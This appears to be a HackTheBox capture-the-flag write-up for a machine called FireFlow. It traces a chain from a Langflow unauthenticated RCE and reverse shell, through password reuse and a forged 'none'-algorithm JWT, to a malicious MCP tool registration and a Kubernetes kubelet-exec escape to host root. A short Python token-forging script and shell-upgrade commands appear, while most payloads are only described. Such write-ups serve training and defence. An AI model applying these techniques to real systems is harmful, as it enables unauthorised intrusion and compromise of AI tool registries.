FireFlow Writeup - HackTheBox
Created June 25, 2026 • Last updated October 11, 2026 • 4 min read
Discovery
Port Enumeration
A full TCP scan identified three exposed services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http nginx 443/tcp open ssl/http nginx |_http-title: Did not follow redirect to https://fireflow.htb/ |_http-title: FireFlow — Task Force Nightfall | ssl-cert: | Subject Alternative Name: | DNS:fireflow.htb | DNS:*.fireflow.htb
The web server redirects to fireflow.htb, so the hostname is added locally.
The next move is to enumerate the web application.
Web Enumeration
Browsing https://fireflow.htb reveals a FireFlow landing page. Selecting Open Agent redirects to another virtual host.
The new application is exposed at:
The URL leaks a valid Langflow flow_id, which is sufficient to target CVE-2026-33017.
The next move is to verify remote code execution.
Initial Access
CVE-2026-33017 Langflow Unauthenticated RCE
Start a listener.
Trigger the vulnerable endpoint using the discovered flow_id.
The injected component executes arbitrary Python code, spawning a reverse shell.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Upgrade the shell.
script /dev/null -c bash
Suspend the shell.
Ctrl-Z
Restore the terminal.
stty raw -echo; fg
Press Enter twice.
The next move is credential hunting.
Extracting Credentials
Langflow stores its configuration under /etc/langflow.
LANGFLOW_SUPERUSER=langflow LANGFLOW_SUPERUSER_PASSWORD=$LANGFLOW_PASSWORD
Checking local users reveals a normal account.
nightfall:x:1000:1000::/home/nightfall:/bin/bash
The Langflow password is reused for SSH.
id uid=1000(nightfall)
The next move is local enumeration.
Lateral Movement
MCP Configuration Discovery
A hidden MCP configuration is present.
{
"server":"http://$TARGET_IP:30080",
"user":"langflow-bot",
"password":"$LANGFLOW_BOT_PASSWORD"
}
Query the exposed API.
{
"service":"MCP AI Tool Registry",
"auth":{
"type":"JWT",
"supported_algorithms":[
"HS256",
"none"
]
}
}
The API accepts JWTs using the insecure none algorithm.
The next move is to verify authentication.
Obtaining a JWT
{
"access_token":"<JWT>"
}
Decoding the payload shows a regular user.
{
"sub":"langflow-bot",
"role":"user"
}
Administrative endpoints reject the token.
{
"detail":"Admin role required"
}
The next move is JWT forgery.
Forging an Administrator Token
import base64
import json
def b64(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64(json.dumps({"alg":"none","typ":"JWT"}).encode())
payload = b64(json.dumps({"sub":"attacker","role":"admin"}).encode())
print(f"{header}.{payload}.")
Generate the forged token.
Register a malicious MCP tool.
{
"status":"registered",
"name":"shell"
}
Start a listener.
Trigger the tool.
A shell is returned from the MCP container.
id uid=1000(mcp) script /dev/null -c bash
The next move is container escape and privilege escalation.
Privilege Escalation
Kubernetes Enumeration
The environment indicates execution inside Kubernetes.
serviceaccount
Inspect RBAC permissions.
Relevant permission:
resources:
nodes/proxy
verbs:
get
The nodes/proxy permission allows interaction with the kubelet.
The next move is identifying a privileged pod.
Locating a Privileged Pod
[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-* hostPaths: /proc /sys /
The privileged Node Exporter mounts the host filesystem.
The next move is remote command execution through the kubelet.
Kubelet Exec
Create the execution helper.
Transfer it to the container.
Execute arbitrary commands inside the privileged pod.
The mounted host filesystem is accessible under /host/root, allowing execution against the underlying node and obtaining a root shell.
Related
References
-
Kubernetes Authentication and Authorization, RBAC referenceDOCS: Kubernetes Authentication and Authorization, RBAC reference, kubernetes.io/docs/reference/access-authn-authz (opens in new tab)
-
OWASP Web Security Testing Guide, JWT and web testing guidanceLINK: OWASP Web Security Testing Guide, JWT and web testing guidance, owasp.org/www-project-web-security-testing-guide (opens in new tab)